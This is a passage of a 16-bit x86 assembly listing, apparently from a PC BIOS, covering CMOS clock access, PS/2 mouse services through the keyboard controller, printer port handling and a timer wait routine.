xor ax, ax ; 31 c0
mov es, ax ; 8e c0
mov ax, word [es:bx] ; 26 8b 07
mov word [bp+010h], ax ; 89 46 10
mov bx, 0046ch ; bb 6c 04
mov ax, word [es:bx] ; 26 8b 07
mov word [bp+00eh], ax ; 89 46 0e
mov bx, 00470h ; bb 70 04
mov al, byte [es:bx] ; 26 8a 07
mov byte [bp+012h], al ; 88 46 12
mov byte [es:bx], 000h ; 26 c6 07 00
sti ; fb
jmp short 07237h ; eb 2c
cli ; fa
mov bx, 0046eh ; bb 6e 04
xor ax, ax ; 31 c0
mov es, ax ; 8e c0
mov ax, word [bp+010h] ; 8b 46 10
mov word [es:bx], ax ; 26 89 07
mov bx, 0046ch ; bb 6c 04
mov ax, word [bp+00eh] ; 8b 46 0e
mov word [es:bx], ax ; 26 89 07
mov bx, 00470h ; bb 70 04
mov byte [es:bx], 000h ; 26 c6 07 00
sti ; fb
mov byte [bp+013h], 000h ; c6 46 13 00
jmp short 07237h ; eb 07
call 070eeh ; e8 bb fe
test ax, ax ; 85 c0
je short 0723ah ; 74 03
jmp near 07268h ; e9 2e 00
xor ax, ax ; 31 c0
call 016aeh ; e8 6f a4
mov byte [bp+00fh], al ; 88 46 0f
mov ax, strict word 00002h ; b8 02 00
call 016aeh ; e8 66 a4
mov byte [bp+010h], al ; 88 46 10
mov ax, strict word 00004h ; b8 04 00
call 016aeh ; e8 5d a4
mov dl, al ; 88 c2
mov byte [bp+011h], al ; 88 46 11
mov ax, strict word 0000bh ; b8 0b 00
call 016aeh ; e8 52 a4
and AL, strict byte 001h ; 24 01
mov byte [bp+00eh], al ; 88 46 0e
mov byte [bp+013h], 000h ; c6 46 13 00
mov byte [bp+012h], dl ; 88 56 12
mov sp, bp ; 89 ec
pop bp ; 5d
retn ; c3
call 070eeh ; e8 7f fe
test ax, ax ; 85 c0
je short 07276h ; 74 03
call 070c6h ; e8 50 fe
mov dl, byte [bp+00fh] ; 8a 56 0f
xor dh, dh ; 30 f6
xor ax, ax ; 31 c0
call 016c9h ; e8 49 a4
mov dl, byte [bp+010h] ; 8a 56 10
xor dh, dh ; 30 f6
mov ax, strict word 00002h ; b8 02 00
call 016c9h ; e8 3e a4
mov dl, byte [bp+011h] ; 8a 56 11
xor dh, dh ; 30 f6
mov ax, strict word 00004h ; b8 04 00
call 016c9h ; e8 33 a4
mov ax, strict word 0000bh ; b8 0b 00
call 016aeh ; e8 12 a4
mov bl, al ; 88 c3
and bl, 060h ; 80 e3 60
or bl, 002h ; 80 cb 02
mov al, byte [bp+00eh] ; 8a 46 0e
and AL, strict byte 001h ; 24 01
or bl, al ; 08 c3
mov dl, bl ; 88 da
xor dh, dh ; 30 f6
mov ax, strict word 0000bh ; b8 0b 00
call 016c9h ; e8 14 a4
mov byte [bp+013h], 000h ; c6 46 13 00
mov byte [bp+012h], bl ; 88 5e 12
jmp short 07268h ; eb aa
mov byte [bp+013h], 000h ; c6 46 13 00
call 070eeh ; e8 29 fe
test ax, ax ; 85 c0
je short 072cbh ; 74 02
jmp short 07268h ; eb 9d
mov ax, strict word 00009h ; b8 09 00
call 016aeh ; e8 dd a3
mov byte [bp+010h], al ; 88 46 10
mov ax, strict word 00008h ; b8 08 00
call 016aeh ; e8 d4 a3
mov byte [bp+00fh], al ; 88 46 0f
mov ax, strict word 00007h ; b8 07 00
call 016aeh ; e8 cb a3
mov byte [bp+00eh], al ; 88 46 0e
mov ax, strict word 00032h ; b8 32 00
call 016aeh ; e8 c2 a3
mov byte [bp+011h], al ; 88 46 11
mov byte [bp+012h], al ; 88 46 12
jmp near 07268h ; e9 73 ff
call 070eeh ; e8 f6 fd
test ax, ax ; 85 c0
je short 07302h ; 74 06
call 070c6h ; e8 c7 fd
jmp near 07268h ; e9 66 ff
mov dl, byte [bp+010h] ; 8a 56 10
xor dh, dh ; 30 f6
mov ax, strict word 00009h ; b8 09 00
call 016c9h ; e8 bc a3
mov dl, byte [bp+00fh] ; 8a 56 0f
xor dh, dh ; 30 f6
mov ax, strict word 00008h ; b8 08 00
call 016c9h ; e8 b1 a3
mov dl, byte [bp+00eh] ; 8a 56 0e
xor dh, dh ; 30 f6
mov ax, strict word 00007h ; b8 07 00
call 016c9h ; e8 a6 a3
mov dl, byte [bp+011h] ; 8a 56 11
xor dh, dh ; 30 f6
mov ax, strict word 00032h ; b8 32 00
call 016c9h ; e8 9b a3
mov ax, strict word 0000bh ; b8 0b 00
call 016aeh ; e8 7a a3
mov bl, al ; 88 c3
and bl, 07fh ; 80 e3 7f
jmp near 072abh ; e9 6f ff
mov ax, strict word 0000bh ; b8 0b 00
call 016aeh ; e8 6c a3
mov bl, al ; 88 c3
mov word [bp+012h], strict word 00000h ; c7 46 12 00 00
test AL, strict byte 020h ; a8 20
je short 07350h ; 74 03
jmp near 07268h ; e9 18 ff
call 070eeh ; e8 9b fd
test ax, ax ; 85 c0
je short 0735ah ; 74 03
call 070c6h ; e8 6c fd
mov dl, byte [bp+00fh] ; 8a 56 0f
xor dh, dh ; 30 f6
mov ax, strict word 00001h ; b8 01 00
call 016c9h ; e8 64 a3
mov dl, byte [bp+010h] ; 8a 56 10
xor dh, dh ; 30 f6
mov ax, strict word 00003h ; b8 03 00
call 016c9h ; e8 59 a3
mov dl, byte [bp+011h] ; 8a 56 11
xor dh, dh ; 30 f6
mov ax, strict word 00005h ; b8 05 00
call 016c9h ; e8 4e a3
mov dx, 000a1h ; ba a1 00
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
and AL, strict byte 0feh ; 24 fe
out DX, AL ; ee
mov dl, bl ; 88 da
and dl, 05fh ; 80 e2 5f
or dl, 020h ; 80 ca 20
xor dh, dh ; 30 f6
mov ax, strict word 0000bh ; b8 0b 00
call 016c9h ; e8 35 a3
jmp near 07268h ; e9 d1 fe
mov ax, strict word 0000bh ; b8 0b 00
call 016aeh ; e8 11 a3
mov bl, al ; 88 c3
mov dl, al ; 88 c2
and dl, 057h ; 80 e2 57
jmp near 072adh ; e9 06 ff
send_to_mouse_ctrl_: ; 0xf73a7 LB 0x38
push bp ; 55
mov bp, sp ; 89 e5
push bx ; 53
push dx ; 52
mov bl, al ; 88 c3
mov dx, strict word 00064h ; ba 64 00
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
test AL, strict byte 002h ; a8 02
je short 073cah ; 74 12
mov ax, 008eeh ; b8 ee 08
push ax ; 50
mov ax, 01168h ; b8 68 11
push ax ; 50
mov ax, strict word 00007h ; b8 07 00
push ax ; 50
call 01976h ; e8 af a5
add sp, strict byte 00006h ; 83 c4 06
mov AL, strict byte 0d4h ; b0 d4
mov dx, strict word 00064h ; ba 64 00
out DX, AL ; ee
mov al, bl ; 88 d8
mov dx, strict word 00060h ; ba 60 00
out DX, AL ; ee
xor al, bl ; 30 d8
lea sp, [bp-004h] ; 8d 66 fc
pop dx ; 5a
pop bx ; 5b
pop bp ; 5d
retn ; c3
get_mouse_data_: ; 0xf73df LB 0x5d
push bp ; 55
mov bp, sp ; 89 e5
push bx ; 53
push cx ; 51
push ax ; 50
mov bx, ax ; 89 c3
mov es, dx ; 8e c2
mov cx, 02710h ; b9 10 27
mov dx, strict word 00064h ; ba 64 00
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
and ax, strict word 00021h ; 25 21 00
cmp ax, strict word 00021h ; 3d 21 00
je short 07422h ; 74 28
test cx, cx ; 85 c9
je short 07422h ; 74 24
mov dx, strict word 00061h ; ba 61 00
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
and AL, strict byte 010h ; 24 10
mov byte [bp-006h], al ; 88 46 fa
mov dx, strict word 00061h ; ba 61 00
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
mov dx, ax ; 89 c2
xor dh, ah ; 30 e6
and dl, 010h ; 80 e2 10
mov al, byte [bp-006h] ; 8a 46 fa
xor ah, ah ; 30 e4
cmp dx, ax ; 39 c2
je short 07409h ; 74 ea
dec cx ; 49
jmp short 073ech ; eb ca
test cx, cx ; 85 c9
jne short 0742ah ; 75 04
mov AL, strict byte 001h ; b0 01
jmp short 07435h ; eb 0b
mov dx, strict word 00060h ; ba 60 00
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
mov byte [es:bx], al ; 26 88 07
xor al, al ; 30 c0
lea sp, [bp-004h] ; 8d 66 fc
pop cx ; 59
pop bx ; 5b
pop bp ; 5d
retn ; c3
set_kbd_command_byte_: ; 0xf743c LB 0x36
push bp ; 55
mov bp, sp ; 89 e5
push bx ; 53
push dx ; 52
mov bl, al ; 88 c3
mov dx, strict word 00064h ; ba 64 00
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
test AL, strict byte 002h ; a8 02
je short 0745fh ; 74 12
mov ax, 008f8h ; b8 f8 08
push ax ; 50
mov ax, 01168h ; b8 68 11
push ax ; 50
mov ax, strict word 00007h ; b8 07 00
push ax ; 50
call 01976h ; e8 1a a5
add sp, strict byte 00006h ; 83 c4 06
mov AL, strict byte 060h ; b0 60
mov dx, strict word 00064h ; ba 64 00
out DX, AL ; ee
mov al, bl ; 88 d8
mov dx, strict word 00060h ; ba 60 00
out DX, AL ; ee
lea sp, [bp-004h] ; 8d 66 fc
pop dx ; 5a
pop bx ; 5b
pop bp ; 5d
retn ; c3
_int74_function: ; 0xf7472 LB 0xd2
push bp ; 55
mov bp, sp ; 89 e5
sub sp, strict byte 00008h ; 83 ec 08
mov dx, strict word 0000eh ; ba 0e 00
mov ax, strict word 00040h ; b8 40 00
call 0166eh ; e8 ed a1
mov cx, ax ; 89 c1
mov word [bp+004h], strict word 00000h ; c7 46 04 00 00
mov dx, strict word 00064h ; ba 64 00
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
and AL, strict byte 021h ; 24 21
cmp AL, strict byte 021h ; 3c 21
jne short 074b6h ; 75 22
mov dx, strict word 00060h ; ba 60 00
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
mov bl, al ; 88 c3
mov dx, strict word 00026h ; ba 26 00
mov ax, cx ; 89 c8
call 01652h ; e8 ae a1
mov byte [bp-002h], al ; 88 46 fe
mov dx, strict word 00027h ; ba 27 00
mov ax, cx ; 89 c8
call 01652h ; e8 a3 a1
mov byte [bp-006h], al ; 88 46 fa
test AL, strict byte 080h ; a8 80
jne short 074b9h ; 75 03
jmp near 07530h ; e9 77 00
mov al, byte [bp-006h] ; 8a 46 fa
and AL, strict byte 007h ; 24 07
mov byte [bp-004h], al ; 88 46 fc
mov al, byte [bp-002h] ; 8a 46 fe
and AL, strict byte 007h ; 24 07
mov byte [bp-008h], al ; 88 46 f8
mov al, bl ; 88 d8
xor ah, ah ; 30 e4
mov bx, ax ; 89 c3
mov al, byte [bp-008h] ; 8a 46 f8
mov dx, ax ; 89 c2
add dx, strict byte 00028h ; 83 c2 28
mov ax, cx ; 89 c8
call 01660h ; e8 84 a1
mov al, byte [bp-008h] ; 8a 46 f8
cmp al, byte [bp-004h] ; 3a 46 fc
jc short 07520h ; 72 3c
mov dx, strict word 00028h ; ba 28 00
mov ax, cx ; 89 c8
call 01652h ; e8 66 a1
xor ah, ah ; 30 e4
mov word [bp+00ch], ax ; 89 46 0c
mov dx, strict word 00029h ; ba 29 00
mov ax, cx ; 89 c8
call 01652h ; e8 59 a1
xor ah, ah ; 30 e4
mov word [bp+00ah], ax ; 89 46 0a
mov dx, strict word 0002ah ; ba 2a 00
mov ax, cx ; 89 c8
call 01652h ; e8 4c a1
xor ah, ah ; 30 e4
mov word [bp+008h], ax ; 89 46 08
xor al, al ; 30 c0
mov word [bp+006h], ax ; 89 46 06
mov byte [bp-002h], ah ; 88 66 fe
test byte [bp-006h], 080h ; f6 46 fa 80
je short 07523h ; 74 0a
mov word [bp+004h], strict word 00001h ; c7 46 04 01 00
jmp short 07523h ; eb 03
inc byte [bp-002h] ; fe 46 fe
mov bl, byte [bp-002h] ; 8a 5e fe
xor bh, bh ; 30 ff
mov dx, strict word 00026h ; ba 26 00
mov ax, cx ; 89 c8
call 01660h ; e8 30 a1
mov sp, bp ; 89 ec
pop bp ; 5d
retn ; c3
xchg byte [di+002h], dh ; 86 75 02
jbe short 074bbh ; 76 82
jbe short 07552h ; 76 17
jnbe short 074c6h ; 77 89
jnbe short 0750ch ; 77 cd
jne short 074f2h ; 75 b1
jnbe short 075c1h ; 77 7e
db 078h
_int15_function_mouse: ; 0xf7544 LB 0x3a0
push bp ; 55
mov bp, sp ; 89 e5
push si ; 56
sub sp, strict byte 00006h ; 83 ec 06
mov dx, strict word 0000eh ; ba 0e 00
mov ax, strict word 00040h ; b8 40 00
call 0166eh ; e8 1a a1
mov cx, ax ; 89 c1
cmp byte [bp+012h], 007h ; 80 7e 12 07
jbe short 07567h ; 76 0b
or word [bp+018h], strict byte 00001h ; 83 4e 18 01
mov byte [bp+013h], 001h ; c6 46 13 01
jmp near 078deh ; e9 77 03
mov ax, strict word 00065h ; b8 65 00
call 0743ch ; e8 cf fe
and word [bp+018h], strict byte 0fffeh ; 83 66 18 fe
mov byte [bp+013h], 000h ; c6 46 13 00
mov bl, byte [bp+012h] ; 8a 5e 12
cmp bl, 007h ; 80 fb 07
jnbe short 075dbh ; 77 5e
xor bh, bh ; 30 ff
sal bx, 1 ; d1 e3
jmp word [cs:bx+07534h] ; 2e ff a7 34 75
cmp byte [bp+00dh], 001h ; 80 7e 0d 01
jnbe short 075deh ; 77 52
mov dx, strict word 00027h ; ba 27 00
mov ax, cx ; 89 c8
call 01652h ; e8 be a0
test AL, strict byte 080h ; a8 80
jne short 075a3h ; 75 0b
or word [bp+018h], strict byte 00001h ; 83 4e 18 01
mov byte [bp+013h], 005h ; c6 46 13 05
jmp near 078d8h ; e9 35 03
cmp byte [bp+00dh], 000h ; 80 7e 0d 00
jne short 075adh ; 75 04
mov AL, strict byte 0f5h ; b0 f5
jmp short 075afh ; eb 02
mov AL, strict byte 0f4h ; b0 f4
xor ah, ah ; 30 e4
call 073a7h ; e8 f3 fd
test al, al ; 84 c0
jne short 075e1h ; 75 29
mov dx, ss ; 8c d2
lea ax, [bp-006h] ; 8d 46 fa
call 073dfh ; e8 1f fe
test al, al ; 84 c0
je short 075cah ; 74 06
cmp byte [bp-006h], 0fah ; 80 7e fa fa
jne short 075e1h ; 75 17
jmp near 078d8h ; e9 0b 03
mov al, byte [bp+00dh] ; 8a 46 0d
cmp AL, strict byte 001h ; 3c 01
jc short 075d8h ; 72 04
cmp AL, strict byte 008h ; 3c 08
jbe short 075e4h ; 76 0c
jmp near 0777fh ; e9 a4 01
jmp near 078c2h ; e9 e4 02
jmp near 078d0h ; e9 ef 02
jmp near 07856h ; e9 72 02
mov dx, strict word 00027h ; ba 27 00
mov ax, cx ; 89 c8
call 01652h ; e8 66 a0
mov ah, byte [bp+00dh] ; 8a 66 0d
db 0feh, 0cch
; dec ah ; fe cc
mov bl, al ; 88 c3
and bl, 0f8h ; 80 e3 f8
or bl, ah ; 08 e3
xor bh, bh ; 30 ff
mov dx, strict word 00027h ; ba 27 00
mov ax, cx ; 89 c8
call 01660h ; e8 5e a0
mov dx, strict word 00026h ; ba 26 00
mov ax, cx ; 89 c8
call 01652h ; e8 48 a0
mov bl, al ; 88 c3
and bl, 0f8h ; 80 e3 f8
xor bh, bh ; 30 ff
mov dx, strict word 00026h ; ba 26 00
mov ax, cx ; 89 c8
call 01660h ; e8 47 a0
mov ax, 000ffh ; b8 ff 00
call 073a7h ; e8 88 fd
test al, al ; 84 c0
jne short 075e1h ; 75 be
mov dx, ss ; 8c d2
lea ax, [bp-008h] ; 8d 46 f8
call 073dfh ; e8 b4 fd
mov cl, al ; 88 c1
cmp byte [bp-008h], 0feh ; 80 7e f8 fe
jne short 0763dh ; 75 0a
or word [bp+018h], strict byte 00001h ; 83 4e 18 01
mov byte [bp+013h], 004h ; c6 46 13 04
jmp short 075cah ; eb 8d
cmp byte [bp-008h], 0fah ; 80 7e f8 fa
je short 07657h ; 74 14
mov al, byte [bp-008h] ; 8a 46 f8
xor ah, ah ; 30 e4
push ax ; 50
mov ax, 00903h ; b8 03 09
push ax ; 50
mov ax, strict word 00007h ; b8 07 00
push ax ; 50
call 01976h ; e8 22 a3
add sp, strict byte 00006h ; 83 c4 06
test cl, cl ; 84 c9
jne short 075e1h ; 75 86
mov dx, ss ; 8c d2
lea ax, [bp-006h] ; 8d 46 fa
call 073dfh ; e8 7c fd
test al, al ; 84 c0
jne short 076bdh ; 75 56
mov dx, ss ; 8c d2
lea ax, [bp-004h] ; 8d 46 fc
call 073dfh ; e8 70 fd
test al, al ; 84 c0
jne short 076bdh ; 75 4a
mov al, byte [bp-006h] ; 8a 46 fa
mov byte [bp+00ch], al ; 88 46 0c
mov al, byte [bp-004h] ; 8a 46 fc
mov byte [bp+00dh], al ; 88 46 0d
jmp near 078d8h ; e9 56 02
mov al, byte [bp+00dh] ; 8a 46 0d
cmp AL, strict byte 003h ; 3c 03
jc short 07699h ; 72 10
jbe short 076b7h ; 76 2c
cmp AL, strict byte 006h ; 3c 06
je short 076cch ; 74 3d
cmp AL, strict byte 005h ; 3c 05
je short 076c6h ; 74 33
cmp AL, strict byte 004h ; 3c 04
je short 076c0h ; 74 29
jmp short 076d2h ; eb 39
cmp AL, strict byte 002h ; 3c 02
je short 076b1h ; 74 14
cmp AL, strict byte 001h ; 3c 01
je short 076abh ; 74 0a
test al, al ; 84 c0
jne short 076d2h ; 75 2d
mov byte [bp-006h], 00ah ; c6 46 fa 0a
jmp short 076d6h ; eb 2b
mov byte [bp-006h], 014h ; c6 46 fa 14
jmp short 076d6h ; eb 25
mov byte [bp-006h], 028h ; c6 46 fa 28
jmp short 076d6h ; eb 1f
mov byte [bp-006h], 03ch ; c6 46 fa 3c
jmp short 076d6h ; eb 19
jmp near 07856h ; e9 96 01
mov byte [bp-006h], 050h ; c6 46 fa 50
jmp short 076d6h ; eb 10
mov byte [bp-006h], 064h ; c6 46 fa 64
jmp short 076d6h ; eb 0a
mov byte [bp-006h], 0c8h ; c6 46 fa c8
jmp short 076d6h ; eb 04
mov byte [bp-006h], 000h ; c6 46 fa 00
cmp byte [bp-006h], 000h ; 80 7e fa 00
jbe short 0770ch ; 76 30
mov ax, 000f3h ; b8 f3 00
call 073a7h ; e8 c5 fc
test al, al ; 84 c0
jne short 07701h ; 75 1b
mov dx, ss ; 8c d2
lea ax, [bp-004h] ; 8d 46 fc
call 073dfh ; e8 f1 fc
mov al, byte [bp-006h] ; 8a 46 fa
xor ah, ah ; 30 e4
call 073a7h ; e8 b1 fc
mov dx, ss ; 8c d2
lea ax, [bp-004h] ; 8d 46 fc
call 073dfh ; e8 e1 fc
jmp near 078d8h ; e9 d7 01
or word [bp+018h], strict byte 00001h ; 83 4e 18 01
mov byte [bp+013h], 003h ; c6 46 13 03
jmp near 078d8h ; e9 cc 01
or word [bp+018h], strict byte 00001h ; 83 4e 18 01
mov byte [bp+013h], 002h ; c6 46 13 02
jmp near 078d8h ; e9 c1 01
cmp byte [bp+00dh], 004h ; 80 7e 0d 04
jnc short 0777fh ; 73 62
mov ax, 000e8h ; b8 e8 00
call 073a7h ; e8 84 fc
test al, al ; 84 c0
jne short 07775h ; 75 4e
mov dx, ss ; 8c d2
lea ax, [bp-006h] ; 8d 46 fa
call 073dfh ; e8 b0 fc
cmp byte [bp-006h], 0fah ; 80 7e fa fa
je short 07749h ; 74 14
mov al, byte [bp-006h] ; 8a 46 fa
xor ah, ah ; 30 e4
push ax ; 50
mov ax, 0092eh ; b8 2e 09
push ax ; 50
mov ax, strict word 00007h ; b8 07 00
push ax ; 50
call 01976h ; e8 30 a2
add sp, strict byte 00006h ; 83 c4 06
mov al, byte [bp+00dh] ; 8a 46 0d
xor ah, ah ; 30 e4
call 073a7h ; e8 56 fc
mov dx, ss ; 8c d2
lea ax, [bp-006h] ; 8d 46 fa
call 073dfh ; e8 86 fc
cmp byte [bp-006h], 0fah ; 80 7e fa fa
je short 077aeh ; 74 4f
mov al, byte [bp-006h] ; 8a 46 fa
xor ah, ah ; 30 e4
push ax ; 50
mov ax, 0092eh ; b8 2e 09
push ax ; 50
mov ax, strict word 00007h ; b8 07 00
push ax ; 50
call 01976h ; e8 06 a2
add sp, strict byte 00006h ; 83 c4 06
jmp short 077aeh ; eb 39
or word [bp+018h], strict byte 00001h ; 83 4e 18 01
mov byte [bp+013h], 003h ; c6 46 13 03
jmp short 077aeh ; eb 2f
or word [bp+018h], strict byte 00001h ; 83 4e 18 01
mov byte [bp+013h], 002h ; c6 46 13 02
jmp short 077aeh ; eb 25
mov ax, 000f2h ; b8 f2 00
call 073a7h ; e8 18 fc
test al, al ; 84 c0
jne short 077a6h ; 75 13
mov dx, ss ; 8c d2
lea ax, [bp-006h] ; 8d 46 fa
call 073dfh ; e8 44 fc
mov dx, ss ; 8c d2
lea ax, [bp-004h] ; 8d 46 fc
call 073dfh ; e8 3c fc
jmp near 07679h ; e9 d3 fe
or word [bp+018h], strict byte 00001h ; 83 4e 18 01
mov byte [bp+013h], 003h ; c6 46 13 03
jmp near 078d8h ; e9 27 01
mov al, byte [bp+00dh] ; 8a 46 0d
test al, al ; 84 c0
jbe short 077c1h ; 76 09
cmp AL, strict byte 002h ; 3c 02
jbe short 077bfh ; 76 03
jmp near 07860h ; e9 a1 00
jmp short 0782bh ; eb 6a
mov ax, 000e9h ; b8 e9 00
call 073a7h ; e8 e0 fb
test al, al ; 84 c0
jne short 07834h ; 75 69
mov dx, ss ; 8c d2
lea ax, [bp-006h] ; 8d 46 fa
call 073dfh ; e8 0c fc
mov cl, al ; 88 c1
cmp byte [bp-006h], 0fah ; 80 7e fa fa
je short 077efh ; 74 14
mov al, byte [bp-006h] ; 8a 46 fa
xor ah, ah ; 30 e4
push ax ; 50
mov ax, 0092eh ; b8 2e 09
push ax ; 50
mov ax, strict word 00007h ; b8 07 00
push ax ; 50
call 01976h ; e8 8a a1
add sp, strict byte 00006h ; 83 c4 06
test cl, cl ; 84 c9
jne short 07856h ; 75 63
mov dx, ss ; 8c d2
lea ax, [bp-006h] ; 8d 46 fa
call 073dfh ; e8 e4 fb
test al, al ; 84 c0
jne short 07856h ; 75 57
mov dx, ss ; 8c d2
lea ax, [bp-004h] ; 8d 46 fc
call 073dfh ; e8 d8 fb
test al, al ; 84 c0
jne short 07856h ; 75 4b
mov dx, ss ; 8c d2
lea ax, [bp-008h] ; 8d 46 f8
call 073dfh ; e8 cc fb
test al, al ; 84 c0
jne short 07856h ; 75 3f
mov al, byte [bp-006h] ; 8a 46 fa
mov byte [bp+00ch], al ; 88 46 0c
mov al, byte [bp-004h] ; 8a 46 fc
mov byte [bp+010h], al ; 88 46 10
mov al, byte [bp-008h] ; 8a 46 f8
mov byte [bp+00eh], al ; 88 46 0e
jmp short 077aeh ; eb 83
cmp AL, strict byte 001h ; 3c 01
jne short 07836h ; 75 07
mov ax, 000e6h ; b8 e6 00
jmp short 07839h ; eb 05
jmp short 07856h ; eb 20
mov ax, 000e7h ; b8 e7 00
call 073a7h ; e8 6b fb
mov cl, al ; 88 c1
test cl, cl ; 84 c9
jne short 07852h ; 75 10
mov dx, ss ; 8c d2
lea ax, [bp-006h] ; 8d 46 fa
call 073dfh ; e8 95 fb
cmp byte [bp-006h], 0fah ; 80 7e fa fa
je short 07852h ; 74 02
mov CL, strict byte 001h ; b1 01
test cl, cl ; 84 c9
je short 078c0h ; 74 6a
or word [bp+018h], strict byte 00001h ; 83 4e 18 01
mov byte [bp+013h], 003h ; c6 46 13 03
jmp short 078c0h ; eb 60
mov al, byte [bp+00dh] ; 8a 46 0d
xor ah, ah ; 30 e4
push ax ; 50
mov ax, 0095ah ; b8 5a 09
push ax ; 50
mov ax, strict word 00007h ; b8 07 00
push ax ; 50
call 01976h ; e8 05 a1
add sp, strict byte 00006h ; 83 c4 06
or word [bp+018h], strict byte 00001h ; 83 4e 18 01
mov byte [bp+013h], 001h ; c6 46 13 01
jmp short 078d8h ; eb 5a
mov si, word [bp+00ch] ; 8b 76 0c
mov bx, si ; 89 f3
mov dx, strict word 00022h ; ba 22 00
mov ax, cx ; 89 c8
call 0167ch ; e8 f1 9d
mov bx, word [bp+014h] ; 8b 5e 14
mov dx, strict word 00024h ; ba 24 00
mov ax, cx ; 89 c8
call 0167ch ; e8 e6 9d
mov dx, strict word 00027h ; ba 27 00
mov ax, cx ; 89 c8
call 01652h ; e8 b4 9d
mov ah, al ; 88 c4
test si, si ; 85 f6
jne short 078b2h ; 75 0e
cmp word [bp+014h], strict byte 00000h ; 83 7e 14 00
jne short 078b2h ; 75 08
test AL, strict byte 080h ; a8 80
je short 078b4h ; 74 06
and AL, strict byte 07fh ; 24 7f
jmp short 078b4h ; eb 02
or AL, strict byte 080h ; 0c 80
mov bl, al ; 88 c3
xor bh, bh ; 30 ff
mov dx, strict word 00027h ; ba 27 00
mov ax, cx ; 89 c8
call 01660h ; e8 a0 9d
jmp short 078d8h ; eb 16
mov ax, 00974h ; b8 74 09
push ax ; 50
mov ax, strict word 00007h ; b8 07 00
push ax ; 50
call 01976h ; e8 a9 a0
add sp, strict byte 00004h ; 83 c4 04
or word [bp+018h], strict byte 00001h ; 83 4e 18 01
mov byte [bp+013h], 001h ; c6 46 13 01
mov ax, strict word 00047h ; b8 47 00
call 0743ch ; e8 5e fb
lea sp, [bp-002h] ; 8d 66 fe
pop si ; 5e
pop bp ; 5d
retn ; c3
_int17_function: ; 0xf78e4 LB 0xac
push bp ; 55
mov bp, sp ; 89 e5
push si ; 56
push ax ; 50
sti ; fb
mov dx, word [bp+00eh] ; 8b 56 0e
sal dx, 1 ; d1 e2
add dx, strict byte 00008h ; 83 c2 08
mov ax, strict word 00040h ; b8 40 00
call 0166eh ; e8 76 9d
mov bx, ax ; 89 c3
mov si, ax ; 89 c6
cmp byte [bp+013h], 003h ; 80 7e 13 03
jnc short 0790eh ; 73 0c
mov ax, word [bp+00eh] ; 8b 46 0e
cmp ax, strict word 00003h ; 3d 03 00
jnc short 0790eh ; 73 04
test bx, bx ; 85 db
jnbe short 07911h ; 77 03
jmp near 07986h ; e9 75 00
mov dx, ax ; 89 c2
add dx, strict byte 00078h ; 83 c2 78
mov ax, strict word 00040h ; b8 40 00
call 01652h ; e8 36 9d
mov ch, al ; 88 c5
xor cl, cl ; 30 c9
cmp byte [bp+013h], 000h ; 80 7e 13 00
jne short 07952h ; 75 2c
mov al, byte [bp+012h] ; 8a 46 12
mov dx, bx ; 89 da
out DX, AL ; ee
lea dx, [bx+002h] ; 8d 57 02
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
mov word [bp-004h], ax ; 89 46 fc
mov al, byte [bp-004h] ; 8a 46 fc
or AL, strict byte 001h ; 0c 01
out DX, AL ; ee
mov al, byte [bp-004h] ; 8a 46 fc
and AL, strict byte 0feh ; 24 fe
out DX, AL ; ee
lea dx, [si+001h] ; 8d 54 01
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
test AL, strict byte 040h ; a8 40
je short 07952h ; 74 07
test cx, cx ; 85 c9
je short 07952h ; 74 03
dec cx ; 49
jmp short 07941h ; eb ef
cmp byte [bp+013h], 001h ; 80 7e 13 01
jne short 0796dh ; 75 15
lea dx, [si+002h] ; 8d 54 02
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
mov word [bp-004h], ax ; 89 46 fc
mov al, byte [bp-004h] ; 8a 46 fc
and AL, strict byte 0fbh ; 24 fb
out DX, AL ; ee
mov al, byte [bp-004h] ; 8a 46 fc
or AL, strict byte 004h ; 0c 04
out DX, AL ; ee
lea dx, [si+001h] ; 8d 54 01
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
xor AL, strict byte 048h ; 34 48
mov byte [bp+013h], al ; 88 46 13
test cx, cx ; 85 c9
jne short 07980h ; 75 04
or byte [bp+013h], 001h ; 80 4e 13 01
and byte [bp+01ch], 0feh ; 80 66 1c fe
jmp short 0798ah ; eb 04
or byte [bp+01ch], 001h ; 80 4e 1c 01
lea sp, [bp-002h] ; 8d 66 fe
pop si ; 5e
pop bp ; 5d
retn ; c3
wait_: ; 0xf7990 LB 0xb2
push bp ; 55
mov bp, sp ; 89 e5
push bx ; 53
push cx ; 51
push si ; 56
push di ; 57
sub sp, strict byte 0000ah ; 83 ec 0a
mov si, ax ; 89 c6
mov byte [bp-00ah], dl ; 88 56 f6
mov byte [bp-00ch], 000h ; c6 46 f4 00
pushfw ; 9c
pop ax ; 58
mov word [bp-010h], ax ; 89 46 f0
sti ; fb
xor cx, cx ; 31 c9
mov dx, 0046ch ; ba 6c 04
xor ax, ax ; 31 c0
call 0168ah ; e8 d7 9c
mov word [bp-00eh], ax ; 89 46 f2
mov bx, dx ; 89 d3
hlt ; f4
mov dx, 0046ch ; ba 6c 04
xor ax, ax ; 31 c0
call 0168ah ; e8 c9 9c
mov word [bp-012h], ax ; 89 46 ee
mov di, dx ; 89 d7
cmp dx, bx ; 39 da
jnbe short 079d1h ; 77 07
jne short 079d8h ; 75 0c
cmp ax, word [bp-00eh] ; 3b 46 f2
jbe short 079d8h ; 76 07
sub ax, word [bp-00eh] ; 2b 46 f2
sbb dx, bx ; 19 da
jmp short 079e3h ; eb 0b
cmp dx, bx ; 39 da
jc short 079e3h ; 72 07
jne short 079e7h ; 75 09
cmp ax, word [bp-00eh] ; 3b 46 f2
jnc short 079e7h ; 73 04
sub si, ax ; 29 c6
sbb cx, dx ; 19 d1
mov ax, word [bp-012h] ; 8b 46 ee
mov word [bp-00eh], ax ; 89 46 f2
mov bx, di ; 89 fb
